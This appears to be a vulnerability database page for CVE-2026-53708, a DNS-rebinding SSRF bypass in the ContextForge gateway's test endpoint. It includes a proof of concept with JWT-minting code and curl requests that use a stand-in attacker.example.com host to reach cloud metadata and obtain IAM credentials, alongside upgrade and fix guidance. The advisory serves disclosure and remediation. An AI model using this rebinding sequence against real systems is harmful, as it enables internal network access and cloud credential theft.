CVE-2026-53708: ContextForge DNS TOCTOU Race Condition Causes Vulnerability

MODERATE
Advisory Identifier: GHSA-9hgc-g3w5-67cm
CVSS 6.6
CWE-367 CWE-350 CWE-918
Published
Advisory Summary

CVE-2026-53708 is a MODERATE (CVSS 6.6) dns toctou race condition causes vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting ContextForge libraries in the PyPI ecosystem. The issue involves dns toctou race condition causes ssrf protection bypass (`/admin/gateways/test`). Remediation is available by upgrading affected packages to version 1.0.3.

CVE-2026-53708 at a Glance

CVE Identifier CVE-2026-53708
GHSA Identifier GHSA-9hgc-g3w5-67cm
Severity MODERATE
CVSS v3.1 Base Score 6.6
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product ContextForge
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-53708

To remediate this vulnerability, upgrade all affected ContextForge dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-contextforge-gateway fixed: 1.0.3
pip install mcp-contextforge-gateway>=1.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-contextforge-gateway

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-53708, inspect your installed packages using pip:

pip show mcp-contextforge-gateway

Analyze the terminal output to locate any version of ContextForge in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.3), your application is affected.

Note: The pip show mcp-contextforge-gateway command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In ContextForge, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations. ## Details `validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527–1710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address. The HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions: - The validated IP address is never passed to the HTTP client. - Only the original hostname is forwarded, triggering a second independent lookup. - No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented. The configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client. ### Two independent acknowledgements in the source code **Location 1** — `mcpgateway/common/validators.py`, lines 1537–1543 (function docstring of `validate_gateway_test_url`): > "DNS TOCTOU Limitation: This validation resolves DNS at validation time, but > the HTTP client will re-resolve DNS at connection time. An attacker controlling > DNS can return a public IP during validation and a private IP during connection > (DNS rebinding). True mitigation requires pinning the validated IP into the > connection (custom resolver/transport, or IP allowlist check at connect > callback). This is tracked as a known limitation for future improvement." **Location 2** — `mcpgateway/admin.py`, lines 14025–14029 (call site comment): > "TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, > but the actual ResilientHttpClient request resolves DNS a third time. An > attacker-controlled DNS server could return a public IP during validation and a > private IP during the actual request. Consider pinning the resolved IP for > outbound requests (custom transport) or caching DNS resolution across > validation and request phases." The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect. ### Prerequisites 1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly enabled by an operator). 2. The attacker holds a credential with explicit `gateways.read` permission assigned via a database role. Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role. ## Proof of Concept ### Setup ```bash cd /opt/mcp-cf-test MCPGATEWAY_ADMIN_API_ENABLED=true \ JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \ uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 & sleep 5 ``` ### Step 1 — Obtain a token for an account with database role assignment The exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT: ```python import datetime, jwt, uuid SECRET = "my-test-key-but-now-longer-than-32-bytes" EMAIL = "admin@example.com" # must have platform_admin role in DB now = datetime.datetime.now(datetime.timezone.utc) payload = { "sub": EMAIL, "aud": "mcpgateway-api", "iss": "mcpgateway", "jti": str(uuid.uuid4()), "iat": now, "exp": now + datetime.timedelta(hours=1), } print(jwt.encode(payload, SECRET, algorithm="HS256"), end="") ``` ```bash TOKEN=$(python3 /tmp/gen_token.py) ``` ### Step 2 — Baseline control: direct private IP is rejected Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs: ```bash curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://127.0.0.1:8000/admin/gateways/test \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}' # Expected: HTTP 400 — "Invalid gateway URL" ``` ### Step 3 — DNS rebinding attack 1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second. 2. Initial record: `attacker.example.com → 1.2.3.4` (any public IP). 3. Submit the request: ```bash curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://127.0.0.1:8000/admin/gateways/test \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}' ``` 4. `validate_gateway_test_url()` resolves `attacker.example.com → 1.2.3.4`; all SSRF checks pass. 5. Attacker immediately flips the DNS record: `attacker.example.com → 169.254.169.254`. 6. `httpx` independently re-resolves the hostname and connects to `169.254.169.254`. 7. The gateway returns the IMDS response body to the caller. Standard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials. ## Impact Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft. ## Suggested Fix After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

CVE-2026-53708 Affected ContextForge Versions

1 component(s)
Fixed Versions:
1.0.3
Product / Package Ecosystem Affected Versions Fixed Version
mcp-contextforge-gateway
PyPI
< 1.0.3
1.0.3

References

Frequently Asked Questions

What is CVE-2026-53708?
CVE-2026-53708 is a security vulnerability in ContextForge involving DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`) under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which ContextForge versions are affected?
Affected versions include releases prior to 1.0.3 across affected packages: mcp-contextforge-gateway.
What version fixes CVE-2026-53708?
Upgrading to 1.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-contextforge-gateway affected?
Yes, mcp-contextforge-gateway is affected in releases prior to 1.0.3. Upgrade your dependency to 1.0.3 or later.
What is the CVSS score of CVE-2026-53708?
CVE-2026-53708 has a CVSS v3.1 base score of 6.6 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-53708?
CVE-2026-53708 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for CVE-2026-53708?
Run the dependency tree command: 'pip show mcp-contextforge-gateway'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9hgc-g3w5-67cm",
  "modified" : "2026-08-14T19:49:14Z",
  "published" : "2026-08-14T19:49:14Z",
  "aliases" : [ "CVE-2026-53708" ],
  "summary" : "ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)",
  "details" : "## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527–1710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n  implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** — `mcpgateway/common/validators.py`, lines 1537–1543 (function docstring of `validate_gateway_test_url`):\n\n> \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n> the HTTP client will re-resolve DNS at connection time. An attacker controlling\n> DNS can return a public IP during validation and a private IP during connection\n> (DNS rebinding). True mitigation requires pinning the validated IP into the\n> connection (custom resolver/transport, or IP allowlist check at connect\n> callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** — `mcpgateway/admin.py`, lines 14025–14029 (call site comment):\n\n> \"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS,\n> but the actual ResilientHttpClient request resolves DNS a third time. An\n> attacker-controlled DNS server could return a public IP during validation and a\n> private IP during the actual request. Consider pinning the resolved IP for\n> outbound requests (custom transport) or caching DNS resolution across\n> validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n   enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n   assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &\nsleep 5\n```\n\n### Step 1 — Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL  = \"admin@example.com\"   # must have platform_admin role in DB\nnow    = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n    \"sub\": EMAIL,\n    \"aud\": \"mcpgateway-api\",\n    \"iss\": \"mcpgateway\",\n    \"jti\": str(uuid.uuid4()),\n    \"iat\": now,\n    \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 — Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}'\n# Expected: HTTP 400 — \"Invalid gateway URL\"\n```\n\n### Step 3 — DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com → 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n  -X POST http://127.0.0.1:8000/admin/gateways/test \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}'\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com → 1.2.3.4`;\n   all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n   `attacker.example.com → 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n   `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-contextforge-gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/IBM/mcp-context-forge"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-350", "CWE-367", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-14T19:49:14Z",
    "nvd_published_at" : null
  }
}